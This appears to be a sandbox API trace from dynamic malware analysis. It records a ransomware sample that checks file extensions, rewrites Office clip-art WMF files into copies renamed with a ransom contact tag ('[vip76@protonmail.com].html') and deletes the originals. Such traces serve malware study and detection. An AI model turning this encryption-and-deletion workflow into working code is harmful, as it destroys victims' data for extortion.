	[0171.363] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0171.363] lstrlenW (lpString=".zip") returned 4
	[0171.363] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.363] lstrlenW (lpString=".rar") returned 4
	[0171.363] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.363] lstrlenW (lpString=".bz2") returned 4
	[0171.363] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.363] lstrlenW (lpString=".7z") returned 3
	[0171.363] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0171.363] lstrlenW (lpString=".dbf") returned 4
	[0171.363] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0171.363] lstrlenW (lpString=".1cd") returned 4
	[0171.363] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0171.363] lstrlenW (lpString=".jpg") returned 4
	[0171.363] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0171.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0171.363] lstrlenW (lpString=".doc") returned 4
	[0171.363] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.363] lstrlenW (lpString=".docx") returned 5
	[0171.363] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0171.363] lstrlenW (lpString=".pdf") returned 4
	[0171.363] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.363] lstrlenW (lpString=".xls") returned 4
	[0171.363] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.363] lstrlenW (lpString=".xlsx") returned 5
	[0171.364] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0171.364] lstrlenW (lpString=".ppt") returned 4
	[0171.364] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0171.364] lstrlenW (lpString=".zip") returned 4
	[0171.364] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.364] lstrlenW (lpString=".rar") returned 4
	[0171.364] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.364] lstrlenW (lpString=".bz2") returned 4
	[0171.364] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.364] lstrlenW (lpString=".7z") returned 3
	[0171.364] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0171.364] lstrlenW (lpString=".dbf") returned 4
	[0171.364] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0171.364] lstrlenW (lpString=".1cd") returned 4
	[0171.364] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0171.364] lstrlenW (lpString=".jpg") returned 4
	[0171.364] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.364] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0171.364] lstrlenW (lpString="FD00799_.WMF") returned 12
	[0171.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0171.365] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=13968) returned 1
	[0171.365] CloseHandle (hObject=0x51c) returned 1
	[0171.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf")) returned 0x220
	[0171.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0171.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0171.365] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.366] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0171.366] GetLastError () returned 0x0
	[0171.366] ReadFile (in: hFile=0x51c, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x3690, lpOverlapped=0x0) returned 1
	[0171.368] WriteFile (in: hFile=0x534, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x36a0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x36a0, lpOverlapped=0x0) returned 1
	[0171.370] ReadFile (in: hFile=0x51c, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.370] WriteFile (in: hFile=0x534, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.370] SetEndOfFile (hFile=0x534) returned 1
	[0171.370] CloseHandle (hObject=0x534) returned 1
	[0171.370] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.370] SetEndOfFile (hFile=0x51c) returned 1
	[0171.373] CloseHandle (hObject=0x51c) returned 1
	[0171.373] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0171.374] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf")) returned 1
	[0171.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0171.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0171.374] lstrlenW (lpString=".doc") returned 4
	[0171.374] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.374] lstrlenW (lpString=".docx") returned 5
	[0171.374] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0171.374] lstrlenW (lpString=".pdf") returned 4
	[0171.374] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.374] lstrlenW (lpString=".xls") returned 4
	[0171.374] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.375] lstrlenW (lpString=".xlsx") returned 5
	[0171.375] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0171.375] lstrlenW (lpString=".ppt") returned 4
	[0171.375] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0171.375] lstrlenW (lpString=".zip") returned 4
	[0171.375] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.375] lstrlenW (lpString=".rar") returned 4
	[0171.375] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.375] lstrlenW (lpString=".bz2") returned 4
	[0171.375] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.375] lstrlenW (lpString=".7z") returned 3
	[0171.375] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0171.375] lstrlenW (lpString=".dbf") returned 4
	[0171.375] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0171.375] lstrlenW (lpString=".1cd") returned 4
	[0171.375] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0171.375] lstrlenW (lpString=".jpg") returned 4
	[0171.375] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0171.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0171.375] lstrlenW (lpString=".doc") returned 4
	[0171.375] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.375] lstrlenW (lpString=".docx") returned 5
	[0171.375] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0171.375] lstrlenW (lpString=".pdf") returned 4
	[0171.375] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.375] lstrlenW (lpString=".xls") returned 4
	[0171.376] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.376] lstrlenW (lpString=".xlsx") returned 5
	[0171.376] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0171.376] lstrlenW (lpString=".ppt") returned 4
	[0171.376] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0171.376] lstrlenW (lpString=".zip") returned 4
	[0171.376] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.376] lstrlenW (lpString=".rar") returned 4
	[0171.376] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.376] lstrlenW (lpString=".bz2") returned 4
	[0171.376] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.376] lstrlenW (lpString=".7z") returned 3
	[0171.376] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0171.376] lstrlenW (lpString=".dbf") returned 4
	[0171.376] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0171.376] lstrlenW (lpString=".1cd") returned 4
	[0171.376] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0171.376] lstrlenW (lpString=".jpg") returned 4
	[0171.376] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.376] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0171.376] lstrlenW (lpString="FD00814_.WMF") returned 12
	[0171.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0171.377] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=42704) returned 1
	[0171.377] CloseHandle (hObject=0x51c) returned 1
	[0171.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf")) returned 0x220
	[0171.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0171.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0171.378] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.378] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0171.379] GetLastError () returned 0x0
	[0171.379] ReadFile (in: hFile=0x51c, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0xa6d0, lpOverlapped=0x0) returned 1
	[0171.604] WriteFile (in: hFile=0x534, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xa6e0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xa6e0, lpOverlapped=0x0) returned 1
	[0171.605] ReadFile (in: hFile=0x51c, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.605] WriteFile (in: hFile=0x534, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.606] SetEndOfFile (hFile=0x534) returned 1
	[0171.851] CloseHandle (hObject=0x534) returned 1
	[0171.854] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.854] SetEndOfFile (hFile=0x51c) returned 1
	[0171.859] CloseHandle (hObject=0x51c) returned 1
	[0171.859] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0171.860] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf")) returned 1
	[0171.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0171.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0171.861] lstrlenW (lpString=".doc") returned 4
	[0171.861] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.861] lstrlenW (lpString=".docx") returned 5
	[0171.861] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0171.861] lstrlenW (lpString=".pdf") returned 4
	[0171.861] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.861] lstrlenW (lpString=".xls") returned 4
	[0171.861] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.861] lstrlenW (lpString=".xlsx") returned 5
	[0171.861] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0171.861] lstrlenW (lpString=".ppt") returned 4
	[0171.862] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0171.862] lstrlenW (lpString=".zip") returned 4
	[0171.862] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.862] lstrlenW (lpString=".rar") returned 4
	[0171.862] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.862] lstrlenW (lpString=".bz2") returned 4
	[0171.862] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.862] lstrlenW (lpString=".7z") returned 3
	[0171.862] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0171.862] lstrlenW (lpString=".dbf") returned 4
	[0171.862] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0171.862] lstrlenW (lpString=".1cd") returned 4
	[0171.862] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0171.862] lstrlenW (lpString=".jpg") returned 4
	[0171.862] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0171.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0171.862] lstrlenW (lpString=".doc") returned 4
	[0171.862] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.862] lstrlenW (lpString=".docx") returned 5
	[0171.863] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0171.863] lstrlenW (lpString=".pdf") returned 4
	[0171.863] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.863] lstrlenW (lpString=".xls") returned 4
	[0171.863] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.863] lstrlenW (lpString=".xlsx") returned 5
	[0171.863] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0171.863] lstrlenW (lpString=".ppt") returned 4
	[0171.863] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0171.863] lstrlenW (lpString=".zip") returned 4
	[0171.863] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.863] lstrlenW (lpString=".rar") returned 4
	[0171.863] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.863] lstrlenW (lpString=".bz2") returned 4
	[0171.863] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.863] lstrlenW (lpString=".7z") returned 3
	[0171.863] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0171.863] lstrlenW (lpString=".dbf") returned 4
	[0171.863] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0171.863] lstrlenW (lpString=".1cd") returned 4
	[0171.863] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0171.864] lstrlenW (lpString=".jpg") returned 4
	[0171.864] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.864] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0171.864] lstrlenW (lpString="FD01548_.WMF") returned 12
	[0171.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0171.865] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=10316) returned 1
	[0171.866] CloseHandle (hObject=0x51c) returned 1
	[0171.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf")) returned 0x220
	[0171.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0171.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0171.866] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.867] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0171.867] GetLastError () returned 0x0
	[0171.896] ReadFile (in: hFile=0x51c, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x284c, lpOverlapped=0x0) returned 1
	[0171.899] WriteFile (in: hFile=0x534, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x2850, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x2850, lpOverlapped=0x0) returned 1
	[0171.901] ReadFile (in: hFile=0x51c, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.901] WriteFile (in: hFile=0x534, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.901] SetEndOfFile (hFile=0x534) returned 1
	[0171.902] CloseHandle (hObject=0x534) returned 1
	[0171.902] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.902] SetEndOfFile (hFile=0x51c) returned 1
	[0171.906] CloseHandle (hObject=0x51c) returned 1
	[0171.906] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0171.907] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf")) returned 1
	[0171.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0171.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0171.908] lstrlenW (lpString=".doc") returned 4
	[0171.908] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.908] lstrlenW (lpString=".docx") returned 5
	[0171.908] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0171.908] lstrlenW (lpString=".pdf") returned 4
	[0171.908] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.908] lstrlenW (lpString=".xls") returned 4
	[0171.908] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.908] lstrlenW (lpString=".xlsx") returned 5
	[0171.908] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0171.908] lstrlenW (lpString=".ppt") returned 4
	[0171.908] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
